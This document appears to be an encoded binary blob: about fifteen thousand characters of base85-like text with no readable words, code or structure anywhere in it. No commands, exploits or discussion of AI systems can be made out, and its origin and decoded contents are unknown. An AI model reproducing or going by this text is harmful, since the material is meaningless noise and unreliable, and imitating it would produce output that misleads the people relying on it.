z0p-ug^T-+ki)8qCBi#x{r+jR8jNR_xRy^}v1D6(Q`LVmUMNZS*`jan0=dqt3Wp#hY z7FGEB;;C^mX6?NI*$-*dmO3)lEEe@oE-}&Zbmp%R0pH#0%@ck-DBoB#ER*5Z7sR!d z$6CZWecI+)|4JeZyLp?mv}0|a0`Z`_drJLqqVF|r@H#FEYkk*&!p+4AMDl>m#ID|@ z*}ZV$1zc<)5i@=U3f2eQ=(QPH71d|ldQM)kzg!n zY<^qce{{nf`+V<x4?(5i<74d0xbTb@h!bu8G4bk$!-HXjP>!ve?>W%O!ny$8uDq z3BQ+H1BfQQPgF`kG|C(-?dX){ezE%$L+Y`%niDhk8@6_F05g6K0CqKH(#d-}1z_$>h$B-(2Uvaev0{r%tTosLiV==VFm&04hjk_m;Urs!*w@Pl3JKl2$RnJE@%hd+Z`q%l8VD|X|G4;MlZh1zu` zk;b0=Yckxm(k35ragQpZp45R{wL*(^nnL@tHZ_a|x|(1I(jUIjpNheQNz;Y_@jGL3 z)yD2L+%VRJ3&Xy{wf&L?+b7*?Oh1tr^T=c0H3gUkZsJ|{UH`}<;5=*YV;@NM8(eeW z8qmw1zM=6I;HUMV#~{EdO?87uP8+=@97eAA?xz{T^LoCv1IYCC znk1pr@o25Z1!LW>{JtJX0($-Rl?09EyL&yqJoiW=KKKr}^wenNNOmp4fSl%YwW~TJ zE1J=-PkYs?UvqG;`Icw@;PKDD{W%BM^4&AdBXMl`k^{q2&bY-oO^6!V?l1WMNq)nh z-|~O!M?U=ckf*%s@gcwCU5+O|>214C0DcXP&&&Va@An?ZKmNw=itpAQ8peiXjpy9m zfK%)1J-KUgN$_@oxPF`n_+4&8h;IuNAw5bQj?wO)&e0>u`2j}(QFRCSoNc9^7sRe% zF+kGHRbR}^zA>Ovl0N!I(Lq^ORx2rT*xdH~hE+=miXS88#t%DsTAayvI!R1*k-jIm z`-@mTCknMp$jC1CVB}U&^3An-uJ<(KjoZCO?sK>HDu^n)y-zY~j*2hEiQHDln57ZO z3^O?E9|FSSu`vx;o61OfuyS?6@WhD62YI)tZ{`Y|kADBjjXT7R7F@_Y*BWY&jg$3j zD&-~`pWhi)4ue;Y_YQ9M6VpC-Ge*`oKE0>q=yMOS@a6v8_i~u?jUDNEbk0lIK6fQ9 z@U=C{;CXG)eIY@VmM50H^TWLqyy7a(@yN7~6-GnuFWLkR*uAJJOleDq?JTJAipQYw zjG^^L+BSp+w0LMT-ndSD5SXOH6_s&)a!M#uy|um61s?UrmoeBW0CJRPs4BWx@Tiyb9A3BD8^1MHt#V@)Z7$pIUCFb*QzCzqP$pmBV; zA<33cqQN|}>~d4%jmixCDF;Eu7MRs}UHkrikALg8QhQH_fBG%om(QZ9y|tArkrOxhWZpIE_=bN-so7vGih)i{ z;dqyKd|ZB8=MNlj`R4cjPkNxbd;5VO`w|5BWc!x9s)`;+JP@YJ@~kV(MvpgsUngTVDh7H4en zfqdxItHTtR?0M>Rj)zktkyxf7pk4V2))yS^ul0|`;5dIFmMhTd?dG7ZF_c^Ty;dzA zK6q>y4}JTc5Bb{AV@F#k{nh$cPrYN9b#4ulU#|E5w&Y$vJYR-q_FKyq!h8ew+PI;F zcvfKQ8$E{OA8ZSb98d)Dv2ONS&0g{Pj&97*0dL8u`4v8aWR~SjpL)%#K8ng%kM@oY zJ|kl~#pi%6+FZ+t1DV6`_6_c&U@S5N_`o7yoJse1(B#1RJ+)L9CoFMe#y+sfJeN;j z5TeO}{Ny>O`l-7X%sO!I&Xn<^Zu#4jyr}!UFa25^C4TB{0^tdf{OZ|OpXd1P#~*(BemBnC2|nPKpOwj*lArsf zUvvB?cpxCO^gs84Up)B1)^|MTdA`y5zkbTo^3Q=Dd2b=9`?wGL?Z;RAv+v5siM+zR zJvSVs-h*b1sEM^<9U{jkjrgOovEFNgY}a;W+oLHc7V88F*RIU1|8SQ1&c|21`d2-7 z?reEGi`Ts7wTUBZO%^;a@{P0h1nHB0V>jTKb=R0^@%KDJ;9fzG(gq7tF2daZ7$XA@6VI*pMH6#$c-a<=wzEd~)rNlXvyO1;pokI} zGd@=rG32a)y#X0_jKmw=#LpPc#>%kvh$}NXG7DYf??@n4jh0*kHNRQ^Gn2SIpB`y* zUP>Slr!RDQoXz-&1N{1LjOM$B!A$upfdlN|>GvEb*j?p?+h5r>q0tUk>vD}qJmj3O ztqaTE=W)cmgq7`cJ-lldseY`le?$#`wqIwcou?3UcpGQH)2^#*g^d(k5kV6#VXyuJM)9u*Qk?B39bO%(dG1 zBZ|U(1e`cCX;#IHW0=8o_OMw9@C@_VUKNM5yUV(Nu@7R-?^@*;mzZKYjpY~Ag-B`HVSp?Lww`db!!i>_dT?|!lcXn&+3WC4>r@huCISEW>+Qt<(clB z#%{-FpTQ(>y*?!xl{w;rdTqbD_BVJnj9dg5);M!7q&Oyw$m}n6?k%ntkuTPbg0(_& z9KCj#N3rkq^mSI*@n@)Rv`+f^5Z_^mfo$HNn3s!M=mCe+-@fr%r@24-k%jQ^{FwSp z4efb?sNdl@UJ=L*Sy?~Q4nM=`H|l^75} z`pi{K9^#ROGx@8s4j`sJ#xZ$}?(_*ID!U9wi@%0S<2BX;tbM2_9~fDC+0fOY_6&^= zZFE>x5gYqPY9JDWgo6E&J`W@h#Jcfnl^3OGI&OSC35sbVx95#J=Aeh9 zPDZApHoKu~8-47{Y$UEHzp0p%{gTu@aPcn(@#wF8ha(G>>n?N5$bP(7)a2tDsZ~Hzi-NNK?`r(`P$5J3twY?qb@_l`L=?luzh2a1Q{e95sDqEpTC944Y()f246hgMJqo*roFFnq z^YLUEy{9&L=Zg!djgu97Wcl*EL6GM9;*`Q*!#MUrFi|(Mbf?X#=7J_0_?lp8{79PL zdY8W5x$Q|J7XA#VNlkNH?DX2L ztY(BD?!+j#@;`Q`e&*1`zx##KCJ$pbujqCib_45nV#|0|%~WP-Ad9>qo0b~&K%^_n{4D~g3nVXxND@QUsJL{;*-vYZvhl2j7*se%g#K z)^N})bIpT;a5Pmrzs=#}|IFXWo3<}5-vD6S7hkX%7V*m6lgw*h1ZPjo`EnJjwRh0#?3>dT-px!7@H6H^_dAh5=>*Hc7!)Q1Kf z+O)}V4c2JqYe&Dj?XPW!6*)2n>ZmJng(GhTS7wdYxyA2Vz(RAsbeJO!@;r|p(gjnd zc^;0fJUvbTBZCJxs99SyyMEvdIl2usgLD1BiO0zd2nCp&1)Z_Rrd}{-zZ5r+q+Sjp z-Apvee3qb0^@A2^6Kk&Tc6F=ums~;NkL$ZNgqc5&b>DEHr#x&T~Etl{JmxkUphQPd5 zSw}P*#P*f(hUr&)!*}F|QQvXA`#Zhe@yQ?aLC5>P`|UrU8I~u#-D8g@JoZt?PyXx+ z^mE3xK_wyg#Ob>GY1e44#a%}jZ`n*T%+?{!mfrxv(M4r2x)^AK!R(je&}Php=ep(o zQ-9f8!pkU?wi&q}Bd2l66V|EJ2*d_}9^5uf&Bu2_Pn_BLjl~C+o){G8sc>^|d9gYH}oj z8s%7yJ+F$WO~)}$T&&voDNWgOH--yc9Gtw|q)7%9Z?#TizJK~zP;?~DlfYOPk5$7W zThuV1yV8t-VO4>$1`F;~a0yheO$d3vN>Fc48=&*?3nq^Z4Gvp`#HE}9q`j_x?>90GB8)@AY;1VJ76na%^u=#a zG+mo=m=8Aj7EeF*Ke^@L@ja^Pp|5_dIj|Ym7EtVz_(F>qkMu zqtf)tw^3!bj>4f2{3|Y|_K?xyLHp*n(UooRMoc7-Ko6nNOpMU!$y>9?g2#0IYXyER zho`d>t^Jy?_DisJH4Z}fy zD-!@Wr{17iCv8Eke|q+x@sY+5vtO{Y1tm`=v4hELPe%4JbPoku3<6EDj4!;R$;0y` zyt)@O6#1HjyFcAWiyw55#eKsAJo0-=O5bb;GrLKvqd| zh+INz%qB=_Rzr%Z-Bokzgc zu$w>!ehOCZIWacZvE1v}4UlLp2~qQ4&G5f5ClCD-A?GN0UA1mPF~vtq{E_(LEP9cW z@FaY5MqZyc7)@yQq~m(Cex-)sWMK_p*`|sjA>4h3QvZfl)69ptbB~prgiMWLOqk!@ z+10$~)7T=9y)W$O0nX{biK}<9Ip}Aqkg3;Pbi{}*!0sO>67PPxgf~3VwtDdKRv(RC zClf!j%#A~UT1}nuhUemmVf+U|X)&hj5#F@v7+%M34(ivSksz1jlEBG9{NpCFK8u@( zby=nymlB`&K#*_7#yPUJ$HWzinTVwph z$@sZB9_+;wFDDTYfK*Tu;>&peS9vZqu72!*)hwnfYfpaI5|S89O?o)Nrme2C`*0k7 z5ZCn`7p#nqYHO!GB45b|Nh8N6q z{own$uQuS(S@8_4p{zZCE<^mp2V*XE+q}Q-WS$G?3rn8&Mdt${_&nxP89{{j#DZ_9 z81jhp%r{C!Iituk-vh1ODF&IQJFA0j+U0pN^8u&V4gh0;(Gg#%9OI`fg?3zneM2*v z!D9^GH=_y+S?{2WKiLKYdhs)E2bB*pqLoOr002M$Nkl8c2t8#tsD{e`scig4tnd98I)uRGT$ztQ~!v6=!^#`z>|%6!qSVX zIGTyJ5&{s2#)s34?wU6saqQ#n{=r|8fU;(=pi^D{hzu?R=+g09Wr~|!s1j>*N>SvE zM^dqEjL4INVsUH&$gqtRg^xbD_aq3m#e^v!>|(EPM0abae4fO1lY!xTu*Q?I0ahlB zpA8hlzAMz2PEW%uPyEl+c!|Fbj14Z=D%8TK2XfX2quVt75MzutRPwi8y>d_=wuYtz z#uH%!YwbS#cRu-eqx`4Vduw0yP2Y3L3AA+vPtC&(?fTzfBH&B^^qv4jG4hQ5@Y6rw z_`Fa5n1c_zzAueGY2mZhzUa%op+8~KKh>+hbiFteqUgEnZfw zYYLyvi`NVG`NDqRP&HQlMqVOgf(Zr@IL)_=8N2q}mGFR0*78zdd<>xd!qt_v)ZnE# zdj`rP)`lJ#JNf1bD4;t+irJ?qwu(4Is$S=M$7zntrY8z=t2JAf~Oy`jPn z-j;rb^&cT2AY=Wy$ueL(54!w@IP=TRwK6&Q;SBzUS31UX?UHBwW7jtvV-SCg>wnhh z1V@i5IkQrYKLT@}wKLz0tr05LHn#dmpZwiFaOyu=bXbj_p(|#wF^?dR;E92mhR8EU zK*I!g!-dFDGDjsaV`Xa_@x|x$ScLhC1COBrB#t<-*8Ct!_UIy0u0QbPMRwRquy83o zKS6s5tA&pB%hCvFQGZNaN)V!xz5fWihyO z^CLB=3D7Cx+dux%cLv6SKO6jaKl0P93;XUwb+Lx7a^j8PTfY0br`5d;-sr&(I)2l9 z7BOo>{qew;^%R`^!>Md~?7T*iQe@2SsTDSPK&1^~Dw8_n%J;dHIM@rx2!M`nbtoPP zF^#Von?v@M{&CM9WYe?P#*KfzFRpQsr*CQ!2Rz^i$nRYMqeLV(c8s+pkr@{c9};>I zYVj{8=l4vgS51&9%XCR_Rp-@uSTlBP}c{wDw8QJ^QNG);3bzQLV!sfo0k(7Eozx4tf9_?K|d z>DIUXI0+#>t7?x%Eaz^%nA^|21Y6f|`mRm);#%uEhFd%DIfPS3lW+)b+v-$;t+|1L zKmC*+-&+rCHx_%$BQ(d1n_FeLu&#HLXL?l!jZW8#uSG3kUH{12=wqGk8^7ZRjz9Jn zzueDL9_1ao$2{WUU6aJl7gVeP8?W^bHM*SZoOi5W=gHM^cTp4!6Gm?nWZ2bwK>(R9kj!oOMnP zUy?&Cf5VQ9T(Gh4P#trG(aB3@m?8IYu|4HuGe|ly=<|Kz$5rPmr+1wE8Klv7I5p%V zOJ3FHSgo%`=f>DE8tM}Bj*6K;(KQC}wL=BKFS%k78RaY(HETm%2k-e*xwb|Gs1V~% z%$M~l7jym2pEc`S&k@rT%QRnG6N)l$L8kLHld>H6)>-u$GX#`}Kg8W6rntr+Udr-c z!F3`Ye<+^0FTe3)WhRpU+3bAH@1ERTzRF0h4W!>5_SZyzBI*Acw8? z-n2G<0>?-2cI9sVXfnsdARN?QN#^Db5S#4>f=Kw{5Zt0cijfJ_+rPK>UpD=j}`c=PyF4- zXFT)6E&<kI$k;I)Ld$z}Ew6y_Wq&GqlFvp7TF@9}f`uN<9=hCi^(>6rK4Tbce*M2`P(YaapU zSsP#;UDvHSB4UG+o4er;2Vi5opfIW}ZUBK3t49AlXE%Zd;EV#Vc><7I3dpL{wN}Wk zs4vJ0V_3IganRZ3SEG%7h%DR$uz15m4?Yj%gu;V2+tPWM_>{{-&A_1tH+J$~%}<-v zPoGZkxjrKg&+Z{!qe@I4o--SK?gB>6Q1{9i!I1+PWFSv`6v}GH{?HU5#yrXCcb0!V zVn1rxnAd^t$M((2`trO0U()dpeAf%EIUCqt;X<=z*qsYJ?xVq(?(J_Ls>PO=;iAX6 zFNnbxE|3K9J#7U8nU+v-D5^CbpT=buNvQOMv6L8d-W?jfOpp8wZ zp3mSmg4*BH@ln2!xugxePqga9|KOcreZ-DG`8L7(9}j%M0}g*P@}9`AqYapNAbdw`Ru1rAtLTk zrDq+O#jXp`AT&^{{lK-yuDdIy!PXD!N3cysue-2exUX$vFOI^5SDHlc^Owfl_~%^F z|HwH(j559P5*Hhf?DqztNvzNjF@F4>nsgkcbM-N4o|`v4z9QfK2}jE?1XFK~sB;F? zjXBqm!UsPSx>GSU*n=HB(~>w+zK|Po?LxR%(r2tu27vI#5HW2;V(Ku$AxQn3bL-wU zXI*-pcfNT|U9a{9^>6kZ`D(FR*LA*;Q1yw?`0#T#JjG5z;E9mnNvUIM-%(Z6A0qg% zt1Yw2wTcF{M>G|BoYxfKX5QViR+X=Afl#^b5po%v8F)ey92> z{H>X2i{F{$p6B*nMi((&saPMh>qjkl*!G^oyztgx)VJ@Jusq9eKdSn_va=}ESI~DU6t*@qrr09jw7Gp_dfS|$5;M~?^=U9_K(izI?HPStXt2I-JQ&Pj`W8F&7x}p zd9MQ-#~s~W3{FS}XZSOi{dp#}ixI=Zz$7kCyg>5p93`gyP!vOKkPYgR=P+YKv){?^ zRdZ2iq#xKO%mLb+A)dJUu5yIQYh%IZIffbcb{VYQ*eti_okkb}NIQEbk%y>u%<+&f zcv7szv%~iJ(BAuC1AUD*z9g#)id_S(Dy;oQPF#@@zv0#Q+Tvev8CHyWS~cL97T+EX zj~jNGV^mc2h!9A3K0hBDr0Imk7DA7J24nBYVZK_4FP}t4PL1Fh=Nouu_eUk4_A>$la@{#QK<2@@$;VypY!&Z~vPfeLVS{9xwi$4qyLoo|6yY zer@9vXt45flFJ*B{^QV_NEQ>T^Q1^^8|VGyv_~RKL@jmzD@*d^?IiGj- z`~LLbIKJ)Q{g``$($#PJjM*>vHEn8>$7}(|5+mrhvGYV(3^mh!_B?jhF>|kP5H>V& zCO4i$;GePngAs%P{dbPUJp)GnO3FzB>T4^r z{zHWdLXJ8_!TN=Koc4Ngc@m&`jCb!8zjLW#atW3?ocS;}C=2@yPYf_3pkh2Kk5;x7fo?m#-;*Z^99$i0;ple3CaoA)>Z=~+e5%Qt_yTWsL8JHz?$3a>XF#Y1?1;kvIOe3}$NX`NcQ|VimN5V*^!E z=M~lBTFtoiHGn%GN>|K`0m+%UeUp*v63fKh5R6$k{>9He%KQpGgd>~4)hB3iW^M%f zyGGa5u-S2lv;?&e=fD4vpC0U;yNBer?ZM-HudAipb(rV5S5#}awb=g3ZBAX6TnoMDC4P$n9_%t^=yfy~ z2X0K~{SkYvui!Dy!JhFIo}uy#b{vs1fZDds$gZInImbR=#`*#t+oe^D4y$p4eOu2f zX1j;fgh2b)(VvcTab2It-5D8(iDLQrMS`Y0aiN1rgZc)K)LK2$^&f1Ns^kzrOnVBdXkB@K-LtX>iSbKt6?)i)V<9 zZ7krx7mcFW6XW`iEH>ik4Kgwl1H%wp2I8@we5!PQSwHMze&X>DJ`Fj|zOufC$7|=- zE8~eo^TK1Xyy$BfePWsPs#nxQC}BOLC4Lgk8f^&Xt+-ZjFsgs8jGwbB-#8AV@R;%D zoi-s<&Y`LJ6UXBHXva;km7XV00b$aj$AUz7WcsLI)TfU){0eU#yX=_vtIU z{!L1dbxK_*Ol*w5PaMk~d1OUzg+&6M2ih5%Tc(3(t}`o1eYD7@-I*6qxHc4d72f*+ z_wpxdVi;eDsjcp2C-!8GMkNOKJ3jhD-jl(-wy(~gcW+#PeUe_{jM;BAs+M{oCx?9D zoRew7i{!53VQ>79<8OY>A38q#eeeA*F17GWQ2 z3xaqr^!P_Qa(W**3ZloCmDgxiWKWa9w+>wF#Sdvw;G@S$+T})K)R9+XTt(;Dpth%0 zS`7&mYxyErnG3Z(D%>Nf?0D^mfQYJ``oi0o7KFEqX#@!ow$>+dYVE}a8M-{K>z`?D z8KkL$B#mx4on)>nI7gRmgux=4sdgE!EJGT#_RUD~mGNd7U#1xQ)^mI$p4L9L!`;tn zi38>G{%%Ip*xxXx=&8?H|8U+M1B`Rlh_$2z zLX3ul?2N5CD(G6uRlRQrW_YLe4*4_d2R`rtF$*bpoz_{`4LO^H4AQ6p7r=DC<%y5I z6aA@w(J$st!NCHgW&GBU$Y*-pqCM&D9@CtSv49Pe8TGTbOEnVcgC6{VaE2+;j-#zajU6DE$QXKwTjAEgraqodm$CZyrw z`2{?)Zsel>#$c?dkZpGBKXdQ3(RYu|W=pXVxpl>W93SVXB$Gm{>ti;iYa(h5=pn^U zt{Lmn04~z8?H;e))(WE&PY67&3phSNiFd%^4K%R$-?lNDJi;M6iRzGJgLR~Ps@n@z zRPqegjXN@JsCfyR2kS(oim!)RhlqL)ywo3zc- zcqTiq5CXn)7`*v2cD*y;oAKz+V3!E_>Kx7_owZGW#(O0@1HpVB8MYx39LIoG-I}I6!q-Kkk3UHx`45WG)yKtKS2xAF{Ar7XU%w8H^p&%5q?wwh;QpUpYtP zy0SCYQFq+@Ps*|N`LlTZP`6QJifz(A{bnR%pG%CLm}v6G4p{jkvu>H;dkI=Eokdjq zbjI&x7Z!vP)nhpjjL!`F{>gC1fa`}^jKy=UD~Wt4W24pJTQmHvXQ0Ka6P`nVq+tWD@=QW6APX}c^R$T>#6EU*LHCI zVQ2D&hPX}+WHFZRtX}!oC3*~Uxnqsb_vjdhzk4IPxmfsSKm6nwm@A+zzQRQOQtA}{ z*rDO==X?vOMF0`87_L{03@Qh$oStMzu@|4wzFoA72@Mv$Bk5{)3Uxz+9CQ{&{{)2$ zgR)PKm5r`c8(Rtp*a1=HyfK-Mq$^{L00xR46Q}~D&UK+6 z+T`zzDf7EEB50dFM2;YUQ~w#yXCYv#4Bv2~$Nv?`&5GffC`665q9q@b4MDC;MA~9% zAoR4XgtE?Vb%cMo3!Nh}hdGSR?h|!1uUU7eDe7&p)2~>1=YQd)HMqm^P2c2=k3aO$ z?-#2{DxFTZmp6yRg=q7AlZQU!_{87y{zz`sUhoTfac6@tE!{7_;*}lW;rKR>ddq`9 zubT)O12o1cl?;1(MDpZ!e0+YplM~_2?d7k?Z)k>$wJ^ubCQ8?&YZULS4VqQPm^D*2 z+SW0?>mTlYVhgF~He7HUf0%@Clq;_nsH+(dF7ZfKu{|cn zTw6oFo6K|O%0|l@+h)kFZOFwaqD!z^a3FAtbd@9etgg8V`foZD5aujI%*jzP2nQ-jSx{MtidT7NnA3QS0G3dA&jt_p& zgN`r$tY;oy{HLDj7zlU}i$_+5mC$2DtL&-w;lFvmD4(~SDhE3pq44}m-}+DOC*kXQ z7?~Rk-x~wtJ2b*H%%xqu)5I@ObKpuklyT z(U?6jo;t0XyfgL@o8mdvrvfHO>tyiZWu7@T#&PtDN@iXA{G*{-K=G}I z(gt6_V9GO?T@=r+-IFnAF>Lhg5pvkQ(p*#{!$dsJOk(gl*X)9i9+NYcLXy_qWRTKY z1^2&3mHHkYwXHk4w5gUg4{j-<_5NWVWu&_P!)NNehR_)o^_M!FctSyK2(qMinRhhq zoxHmSA^N=|-*10=QUIU{XbOAzZNPdmpm}R@;mhb`kByM6{MATaDfViS|OWA`M4og2OR!X3PO z0xT9+c>T97Xh6FyhZl+Xs*ELqSgA-z@sx?YBX1P3nE@{AK7Q7}$;W1#RZi5g#U_K! z@b9iv=It-Wo^w&ScUiv@jL)7=`%|sz8VqYsYt^liGo3h^ps)Q;%*3=q#@2z}v6?ey zglGN}8?p|u1(c)s98@euAq=sI?dX{5g%l`gCZ6jS7rT* z1{v|lH_Xj}`AtxL?U5pj)iBXvj|^BEb8qg$qdEcB9A&;aMcg;!H!{(K2jpXN0w2+{ zpY!8mb?5F6eAMqep7eJ7Hsq`iPPaq^GyY|oT>jWIKJ<9>TlF^&@8sdWWATtiEfHr#7~a!O=~Qbv^3Z?KjUF>-j{CXHZ+kO00DkQM{JH z&I)vW6ZFYPEihWX?8m|huHv<=;0{N)AV|AG>!hkJkw(~!4nJ3L70i8%QLjD29Y1&) z_-T&}yTAD9AAkI|clpi7`@Gvb9$)mC|HJVn`Kzfe*kUHflVO<7_+RJeCx6gyf0y8H z*M9!RFV**6EUcZ^S5_d;Ou}7Ref9NAboeCy*gC$QyIO4l=)*DLH%WEWb^KAWk@e~G z?4QV{#5u2HlRd_~sE%WqI`G#DXX@!ZXG-GBM2Ar-~Dwiq4T)KkSW- zIflG=Nbk)sLxff6CliqF4dvQia_8kk@yRcPt+n9TN(YDEIpAM!xmP+xz#EdicVh4B z|HL@U=Y7T32L%{E*7#!o^o>gL)Jf&wiA_;7rAJ}_=`hOAy6lviOn2_wME5>kY4rwp+Y)W)WP|>YKTl<+=1=L^EbBi&i6! zKv6Zv%>!sP!HgYquM_YH!Zn7)%CFpa29h1`Le*`H%uuHw%pyed?sQOaZm?L; z^b<-*@7@}4Hx3s-Tq5JYc;j~01e}W;nRfY&PY3g(*0a zmp~7`vcU!=Pl&luBq)n3KQ*BBvm*BiTPy|b=U0liZfb}Ci#cWxv66~2N5G`Mif5A| z&O-SnXm4x^wS)1xfn_6%ovtBZ9=jV3^>huc9>Y8^wWe4gx@mc@Git?`?m3~D6N8dv zu1$041@QNL=zHHQ@2g+)tH;-U>vObWYxC93L8QH*cdeR#PZBIMXAMD;U#vgjzx!{F z$L1d%+?U3a-_QTjuRT8hZ+{(GN!9f)OH%Cq<;|8QcKxzj=vPM1I$h7R*LII~tx+Z~ z@!^}ADy6Ui#Y3t;dZk zGcIB=My`JiI3RRY?9cPu0wThuc6+10Bs=(63@cS~=7l=ARzG(5kLFyBh|aMHm4oh> ziT-iJ#5rSH&}SiGrfHa-dB^%-Nb*R}0!FiP`kHGaoPq}9`fC^!*C6ET;EHTr?HGZw z2>90D*ulQ@9b@ZwI<8Y$Xa9pYqT~p~bs4!!vx|v4uQM3MHa6xO5Wd}ii=ViR$?GV# ze(S>%1{*k%Bj-~;hq9@kypz8*OHBybI^iEYO?{OIzxwVU?oghUzV7(>7w>OXuI!%s_kNcr9G~{_0Fyv$zaM-MYvYM6d^{5J zo*xf=;|Cp|{fQrS>(95uqc1#{wB^fe$v5aKoLz}}4)i*|Yv%Pi_1hBSW8a88WtJHm zD!#V$d9DG#TeK4oxxBjA+RC^C0c2=zOGbWcqr zYYQTJ*F`V~=HUk~w!AlEB809njOwmzi4S?%z)L>I@`b@x4en+%sqGx`;umugZBXeK zuFcAaQoOv9osLh;`oMlLCN(^}H#a7Am}0xWu5B6b1MVhqv5)%FFxXk^=8Zv7=TdL5 zse4^bea|2Qa8m^{e7z2h^(h-)%=a;(+jZf~w?2kb9B$IqcW0d&!Ih%hYvO+cprsWz zL|c1gpZ!TsJ3izomyd7yfcO5b$Jc!EXC5E;+kWf1O+Nu`ao4}%*By_|f8>7F=l;>- zF}M7fkypL?HOG(sWdF+Rd|k3ns`SQ_or!$9o`<~2#hP#)U!rnyn*(uMi1ahOo+I4r zaTlhfZiN^ciqPUQzM`w~@-h=p@lJC|xmwrObxw)NlV{A6TJ{td>>--EGi&{0CoQilc|FM^O8xKpg+n}EX5E5W{J#Da2v~e5 zbh#5aX#%HPTLY+H&3hgckNt^suxV4jsuI=Ej;VGL-E1SkhT&O%X8Cp=r5rdx?4&gQ zs*SP{^898L)m8 zYRSw8X0-Ek%lQ7YiKO7SCh-qpj8I+t%PKFd59A;r?4n}~F0K&WKSYobh-;`Wiqkl1 zrp$R~hHq>tOmf{ERHeUt8RZ}}6j>ab16Rv!37vBY4znqyPvA4}MdM07+!OM;xZ>=) z??#c|9I{5y%A0;$3)a}V`0TH(HVou_ub29?&@fKRkUfxe2r%RXI-T*)X1t1@&6sKG zrtriF9JZdoT^YR99w)^JRk(2EsB<_07o4UnR0rwE3sa7_Yd|3Yb60YMjy2&8K28eV zI*yh7{g1bL%ZDAm^F813ULAbPcm2@u(wDtLjx%q$Q+GC^Uh&=tSPy@5GQNqyeaD}9 z*O23_+iPEY*YUZ3>uZj0{oWrr9{q?n4Ov)NOy0#{{WA48z__^8eYthU@UlkO_uY^C z9WTr0+Wg9^Uent29g&zWLAcoeTs*_OIm33!M%UaTCl25}q#wWOslVCBW-rKc${mdU zA&4Fd9{Q(W{}Gale&MMO1S`&Q_dhF5s&d`%zg+aW)a8Y7Zw455kJNwh$jk#<0!pj5 z!7D>TWVFWNUIUA?)YW4&;-Pka!G|joFW}Ts#SlO*ORXTFaV8d`7~#~K zn$G&Q_5jl`0~7rj_?ZAQ+HkEMQ)Fy_Z48xiH>CQ8Z;dbjlK#B^U>zBbn?HimBBq?z`2EdD zqbJ^QcQ4I-DKaq4ZjsFozZ1e)yDdx4-Plci)(|d?waf6;uX%0$$=824KIDCF_ZuSo zHslw7)-#TO_HUnaJnL(|-QRe8?Q35fO73CzJKpTg-uQU;Cq4f7^xya4$J^Y;9|CcW zZ${~;#GD`B_d`F4;MVQ;eZ*6br{qo4FZ!}?IG*z#e&+bqUnM@5cm*-;P%{g+@lR{9(ZM#A!=>qji0T6CEB+K#KE# z^?h!}5oCB}&YI!2_k?EF_K-i}N`LJW;JILuPqUf$9`R)~HvT z<%@(Dm-zQN4!(h==_+GmL(DkxxgDuL{g0jDik>W1Fg;6QwIRxwnE8R1+>znaI-=hO zc7nprDWb7;og;5{rxuGg>;kkFcf&6)WW@v7ar*3^){uaB&`qCUdrxMqn*-_{n+yK* zf6)(ma)qy$rHA9zjdUT@M}2{{PH#Yl4%@{T+lnSuOop;`BR6D2${343`mrB+{N4|H zinHrO?_bZ%ec?YIU;l6Z-SG|I_MGD-zw~l3+OY|Of9EGY?s)nKz4!4E@AvKpA8&Ho z_O0Lh!^g{C`Kr{fuQj^w8=rf@y!ZNe>D^Ziz@xUeb&B1tyW<=vo~caXtPjfOM}OIq z^^S(zYdSj%n$*NRI5|#SU3UKv=Oy?9)%PxO~@X=H3kG@bPWjtdd>&zyE~KY3gW9Tz*p38PGUoBX}Mdclpo zw=#UsihBQwJhoJ0Bavl-x~`)eC00#2971v!Tki$D0Exjhj@OTO@jpxS5KoE2#t&R` z|6kkuU2CB5&hrv$8rk4O99MBRc%C=&SBmhl*85kP#6|rsH=3#E?z{9h3>^aCJ6x+f z>k-AqGyZFXoOOm`@r}QvQOIF%&5`}ay41Pq&KHla+6FjB)QYRy81cXZB^n-Q4z5A% zF=0)>!Q=X+w?<5YEI)=art5PP7g>`WFiN*Ex)xIdka)x7fu+a@a-?Z?B%gsL$N-rE zWyI3<354dg$6Lu})0C`F!r+t)mO8*TJ_?D>d_ z_(Vi&7J2Dlr=V*|;bEvXBUmUtzb(0i?~|yzl=&*27i*J=m;hkdF+Fh-DP(%nC%9O` zeaaa})R44iQ_GpdDk6%XDUhdbqvNZ_LWWN3ThY?o(@x%r7L3UyqKv zZ$ik)nXiw^XHVXr3(CE;ulmOCNj%hIg3=c5oVf8(=~gu>tkW2!_oAsy#u#2x+>6gu z@!L3m_EVpB{Mi-!SL*-Dm;a07?|jw2?%v=+&kHI8B<9wfrFJ|^5KYQ9*`{Z{Z#*i^ zp*yQwJKnt^o`vN*zPdI^2pQXtVIJe&t#+4~;*qP`Jrken6nVbtr-tV^Q}Y$w*bG1NOVqk-o;sPFrE0y) z8av!ip<3Td!q#d0oMVCHo&lx=&6=~GBSwY(j9I~z4TgITT;o;-95axK?@R81r>#;Kp0C9 zGzkP~8$uvMA&|sD#LYZ7u`}7&Nla`f#Ibw*e%D(2zR&B=pFf+#=|1PV_u6Y+>so8C zz3<_9&Uw#!%>_R+s5y3S>QrK&&775|Hu%Mdm{sFY4#v=tojPmD+}r9GOA5!IQ8>7m zSJuA;tP|IVrIY)LR()gt`M>!Uk6-=EJ}ujj@e6DJ;jjGp4_EE@P~POd z;$vU>cXhrm{D z-XdpXR4yBG_dq1~gR~k8AAf9`GOlVyi7wEyNWT|$2wOMFiSO?5+R;ee7sF<5xjlPv#0;8c&97TGF>RGvDTqa%&MeAmb}!oZhk5nUN(LALf!K zmk~yep3`Ta<1jUUDPz#-y6!@EYn`$6Tp)-e8pvipX1NXhQN zBmM?wdm%wn6#7R8B_(MQLmuB6x!(EIWSOLNg?pgmqh0cn> zc#~_r+a{UdI436wMvCQF`Eaj|^)at9-rS#XHRE@4WU6unx3Uu+{m5s&z(xl%a<329 zo?5`_!J#vK#mdn9C%^8OKmN<#@@ql7%f{ax=Jk7j`>%hz;fH_Z@%{PpB5(SUxB9o~ z`A^wCEdR02d(-|-KJe_m>jtSjOwNmvkR_Q@^S*xp(KV~>zJA!=U9*0;(xjLLi0q1L zqei=z3d>1mDpyX?nI#%3=0+NNYo=~b6&5DvO#XuLjL?$KmW z;#*x%1Bx@>+;_%DsQ01j&;A=1?oG_~uJ8RS^&cDeB8l~Zm|C$$5eb-9St$o>S!eHW z%iTJh^)qIDkAHM%40lfm02X~_oie;?ewSPSXzJAhj0|q5(yfe9^`;Y_fhA^TFr;Aq za^h1IZY!heFDK}sj|V}?&Cfs>OrB0Qqp3$a*PP_2aa(%6qq}Q~K2H#4LKZalOx{1$ zHZ0_fzmpagblE^4<84Id%!iQkC13?d`=>0{Ucw}DX3J-H+5a0g59!80h 